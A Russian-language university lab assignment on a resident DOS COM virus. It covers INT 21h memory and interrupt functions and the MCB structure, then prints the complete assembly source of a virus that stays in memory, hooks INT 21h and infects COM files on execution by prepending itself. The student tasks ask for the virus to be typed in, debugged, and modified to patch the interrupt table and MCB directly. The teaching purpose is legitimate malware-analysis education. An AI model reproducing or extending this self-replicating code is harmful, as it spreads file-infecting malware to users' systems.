ЛАБОРАТОРНАЯ РАБОТА № 5

"Исследование резидентного COM вируса "

Цель работы. Исследовать работу резидентного COM вируса способы выделения памяти, перехвата прерываний и установки резидентности.

Краткие теоретические сведения

Резидентные программы остаются в памяти, когда управление возвращается в DOS, затем постоянно находятся в памяти, при этом периодически получая управление. Реализуется данная функциональность обычно с помощью выделения памяти программе и перехватом какого-либо прерывания. Обычно резидентная программа состоит из двух частей: секции инициализации и резидентной части. Секция инициализации выделяет память, перехватывает прерывания и оставляет программу резидентной. Резидентная часть получает управление при вызове перехваченного прерывания и выполняет необходимые функции.

Стандартные способы выделения памяти, перехвата прерываний и оставления резидентом реализуются с помощью следующих подфункций.

Подфункция INT 21h	Вызов	Возврат
INT 27h - Оставить программу резидентной.	AH=27h DX= адрес последнего байта программы (считая от начала PSP)+1 Резидент ограничен размером 64 Кб	AX – число реально прочитанных байт
31h Оставить программу резидентной	AH=31h DX= размер резидента в 16-байтных параграфах (> 06h), от начала PSP.	AX – дескриптор файла
35h Получить адрес обработчика прерывания.	AH=35h, AL – номер прерывания.	ES - сегмент обработчика. BX – смещение обработчика.
25h Установить адрес обработчика прерывания	AH=25h, AL – номер прерывания. DS - сегмент обработчика. DX – смещение обработчика.	
48h Выделить память	AH=48h BX= размер блока в 16-байтных параграфах	CF=0, блок выделен AX= сегментный адрес выделенного блока CF=1 ошибка AX=7 - блоки управления памятью разрушены AX=8 - недостаточно памяти (BX= размер максимального блока)

49h Освободить память	AH=49h ES= сегментный адрес освобождаемого блока	CF=0, блок освобожден CF=1 ошибка AX=9 - в ES неправильный адрес
4Ah Изменить размер блока памяти	AH=4Ah BX= новый размер ES= сегментный адрес модифицируемого блока	CF=0 CF=1 AX=7 блоки разрушены 8-не хватает памяти 9 -если ES содержит неверный адрес BX= максимальный размер доступный для этого блока
4Bh Запуск программы (EXEC) Родительская программа запускает дочернюю, после ее завершения управление передается родителю.	AH=04Bh AL=00h загрузить и выполнить AL=01h загрузить и не выполнять AL=03h загрузить оверлей ES:BX – адрес блока параметров DS:DX - адрес строки с именем запускаемой программы	

Помимо стандартных существуют не документированные способы выделения памяти и перехвата прерываний. Перехват прерывания прямой перезаписью адресов сегмента и смещения обработчика прерывания в таблице векторов прерываний. Выделение памяти осуществляется прямым изменением блоков описания памяти MCB и префикса программного сегмента PSP. В сегменте PSP изменяется поле по смещению 02h – сегментный адрес первого байта за памятью отведенной программе. В блоке MCB, структура которого показана ниже, изменяются все поля. Конкретные значения полей MCB можно посмотреть в отладчике. Блок MCB располагается в памяти строго перед PSP.

Структура MCB – блока управления памятью.

off	**Sz**	**Description**
00h	1	Признак последнего блока. Z – последний. M – есть еще блоки.
01h	2	Адрес ассоциированного PSP. (для самой MS_DOS = 0008h)
03h	2	Размер блока памяти в параграфах, не считая самого MCB.
05h	3	Не используется
08h	4	Имя блока, обычно имя программы.

Далее приведен исходный код резидентного COM вируса, который заражает файлы внедрением в начало.

1. Выделяем память, копируем туда себя и запускаемся там с метки next

```
mov ah,4Ah
mov bx,0FFFFh
int 21h
sub bx,(vir_size+15)/16+1
mov ah,4Ah
int 21h
```

```
mov ah,48h
mov bx,(vir_size+15)/16
int 21h
push ax
mov es,ax
xor di,di
mov si,100h
mov cx,vir_size
rep movsb
mov ax,offset next-100h
push ax
retf
```

2. Проверяем установлен ли наш вирус в памяти - вызываем int 21h с ax=0FFFFh, если уже установлен прыгаем на выход.

```
next:
mov ax,0FFFFh
int 21h
test ax,ax
jz exit
```

3. Устанавливаем наш обработчик прерывания int 21h.

```
set_int:
push cs
pop ds
mov ax,3521h
int 21h
mov [Old_Int21_Off-100h],bx
mov [Old_Int21_Seg-100h],es
mov ah,25h
lea dx,New_Int21
int 21h
```

4. Восстанавливаем значения всех сегментных регистров.

```
exit:
push ss
push ss
pop ds
pop es
```

5. Восстанавливаем в памяти носитель, поднимаем его к PSP и передаем ему управление.

```
mov si,offset old_file
mov di,100h
mov cx,file_size
rep movsb
push ss
push 100h
retf
```

Далее идет резидентная часть, этапы функционирования которой имеют свою нумерацию и расположены не по порядку исполнения. Выполнение начинается с пункта 1 – метка New_Int21.

11. Закрываем файл и восстанавливаем регистры.

```
close_file:
mov ah,3eh
Pushf
call to_int21-100h
restore:
pop es
pop ds
popa
```

12. Прыжок на оригинальный обработчик int 21h.

```
to_int21:
Jump_Old_Int21 db 0eah
Old_Int21_Off dw 0
Old_Int21_Seg dw 0
```

1. Проверяем это запрос на зараженность памяти от другой копии вируса (ax=0FFFFh) или нет. Если да, то увеличиваем ax на 1 (становится ax=0) и возвращаемся из прерывания.

```
New_Int21:
cmp ax,0FFFFh
jnz Check_4b
inc ax
iret
```

2. Проверяем вызывается подфункция запуска программы (4B00h), если нет – передаем управление оригинальному обработчику. Если да, сохраняем регистры.

```
Check_4b:
cmp ax,04b00h
jnz to_int21
pusha
push ds
push es
```

3. Открываем файл, это исполняемый файл и его имя уже в ds:dx.

```
mov ax,3d02h
pushf
call to_int21-100h
jc close_file
xchg ax,bx
```

4. В области видеопамяти (0A000h) строим зараженную программу, для этого копируем в начало области тело вируса.

```
push cs
```

```
pop ds
mov ax,0a000h
mov es,ax
xor si,si
xor di,di
mov cx,vir_size
rep movsb
```
5. Читаем после тела вируса тело жертвы из файла.
```
mov ds,ax
mov ah,3fh
mov cx,0ffffh
mov dx,di
pushf
call to_int21-100h
```
6. Проверяем максимальный размер.
```
mov file_size-100h,ax
cmp ax,0fd00h
ja close_file
```
7. Проверяем начало жертвы на нашу сигнатуру – метку заражения.
```
mov ax,word ptr [di]
cmp ax,0580Eh
jz close_file
```
8. Проверяем не EXE ли это.
```
xor al,ah
cmp al,17h
jz close_file
```
9. Перемещаем указатель в начало жертвы.
```
mov ax,4200h
xor cx,cx
xor dx,dx
pushf
call to_int21-100h
```
10. Пишем зараженную программу в файл и прыгаем на следующий этап.
```
mov ah,40h
xor dx,dx
mov cx,file_size-100h
add cx,di
pushf
call to_int21-100h
jmp close_file
```
13. Область данных вируса и моделируемый носитель, состоящий из одной команды ret.
```
File_Size dw 1
vir_size=$-start
old_file: ret
```

```
end start
```

Порядок выполнения работы

1. Набрать пример резидентного COM вируса.
2. Исследовать его работу в отладчике.
3. Нарисовать для каждого этапа вируса, схематично механизм его работы.
4. Сделать в вирусе перехват обработчика INT 21h прямым изменением таблицы векторов прерываний.
5. Сделать в вирусе выделение памяти прямым изменением PSP и MCB.

Содержание отчета по выполненной работе

Отчет должен содержать номер и наименование лабораторной работы, данные о студентах, ее выполнивших, исходные тексты разработанных программ и исполняемые файлы с ними в электронном виде и выводы по результатам проделанной работы.

Контрольные вопросы

1.
2.
3.
4.
5.